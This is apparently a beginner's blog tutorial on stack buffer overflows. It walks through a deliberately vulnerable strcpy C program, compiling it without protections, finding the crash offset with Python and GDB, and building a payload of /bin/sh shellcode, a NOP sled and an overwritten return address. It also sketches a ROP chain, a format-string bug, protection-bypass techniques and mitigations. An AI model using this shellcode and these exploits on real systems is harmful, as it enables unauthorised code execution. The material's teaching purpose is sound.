Logo
Buffer Overflow Basics: Your First Stack Smashing Adventure

Buffer Overflow Basics: Your First Stack Smashing Adventure

June 1, 2023
2 min read
index

Introduction to Buffer Overflows

Buffer overflows are one of the most fundamental vulnerabilities in software security. In this post, we’ll explore the basics of stack-based buffer overflows and see how they can be exploited.

What is a Buffer Overflow?

A buffer overflow occurs when a program writes more data to a buffer than it can hold. This can overwrite adjacent memory locations, potentially allowing an attacker to execute arbitrary code.

Vulnerable Code Example

Let’s look at a simple vulnerable C program:

#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // Dangerous! No bounds checking
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}

The Problem

The strcpy() function doesn’t check if the source string fits in the destination buffer. If we provide input longer than 64 characters, we’ll overflow the buffer.

Compilation and Testing

First, let’s compile the program with debugging symbols and disable stack protections:

Terminal window
gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Compilation flags explained:

  • -g: Include debugging information
  • -fno-stack-protector: Disable stack canaries
  • -z execstack: Make stack executable
  • -o vulnerable: Output filename

Finding the Offset

To exploit this, we need to find exactly how many bytes it takes to overwrite the return address:

#!/usr/bin/env python3
import struct
import subprocess
def test_overflow(payload_size):
payload = b"A" * payload_size
try:
result = subprocess.run(
["./vulnerable", payload],
capture_output=True,
timeout=5
)
return result.returncode
except subprocess.TimeoutExpired:
return -1
# Binary search to find crash point
for i in range(60, 80):
ret_code = test_overflow(i)
print(f"Payload size {i}: Return code {ret_code}")
if ret_code != 0:
print(f"Crash detected at {i} bytes!")
break

Using GDB for Analysis

We can use GDB to analyze the crash:

Terminal window
gdb ./vulnerable
(gdb) run $(python3 -c "print('A' * 76)")
(gdb) info registers
(gdb) x/20x $esp
(gdb) bt

Basic Exploitation

Once we know the offset (let’s say it’s 72 bytes), we can craft an exploit:

#!/usr/bin/env python3
import struct
# Our shellcode (execve("/bin/sh"))
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)
# Build the payload
buffer_size = 72
nop_sled = b"\x90" * (buffer_size - len(shellcode))
return_address = struct.pack("<I", 0xbffff7a0) # Example address
payload = nop_sled + shellcode + return_address
print(payload)

Memory Layout Visualization

Here’s what the stack looks like before and after overflow:

Normal Stack:
+------------------+
| Return Address | <- We want to control this
+------------------+
| Saved EBP |
+------------------+
| buffer[64] | <- Our input goes here
+------------------+
| Local variables |
+------------------+
After Overflow:
+------------------+
| 0x41414141 | <- Overwritten return address
+------------------+
| 0x41414141 | <- Overwritten saved EBP
+------------------+
| AAAAAAA... | <- Our 'A's overflow the buffer
+------------------+

Protection Mechanisms

Modern systems have several protections against buffer overflows:

ProtectionDescriptionBypass Technique
ASLRAddress Space Layout RandomizationInfo leaks, brute force
DEP/NXData Execution PreventionROP/JOP chains
Stack CanariesDetection values on stackCanary leaks, format strings
FORTIFY_SOURCEEnhanced function checksUse unprotected functions

Advanced Techniques

Return-Oriented Programming (ROP)

When DEP is enabled, we can use ROP gadgets:

# Example ROP chain
rop_chain = [
0x08048123, # pop eax; ret
0x0000000b, # execve syscall number
0x08048456, # pop ebx; ret
0x08049000, # address of "/bin/sh"
# ... more gadgets
]

Format String Vulnerabilities

Sometimes buffer overflows combine with format string bugs:

char buffer[64];
strcpy(buffer, user_input);
printf(buffer); // Format string vulnerability!

Mitigation Strategies

For Developers:

  • Use safe string functions (strncpy, strlcpy)
  • Enable compiler protections (-fstack-protector-strong)
  • Perform input validation
  • Use static analysis tools

For System Administrators:

  • Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space
  • Use hardened compilations
  • Keep systems updated

Conclusion

Buffer overflows remain a critical vulnerability class despite decades of research. Understanding how they work is essential for both offensive and defensive security practitioners.

Remember: Only practice these techniques on systems you own or have explicit permission to test!

References


Happy hacking! 🐱‍💻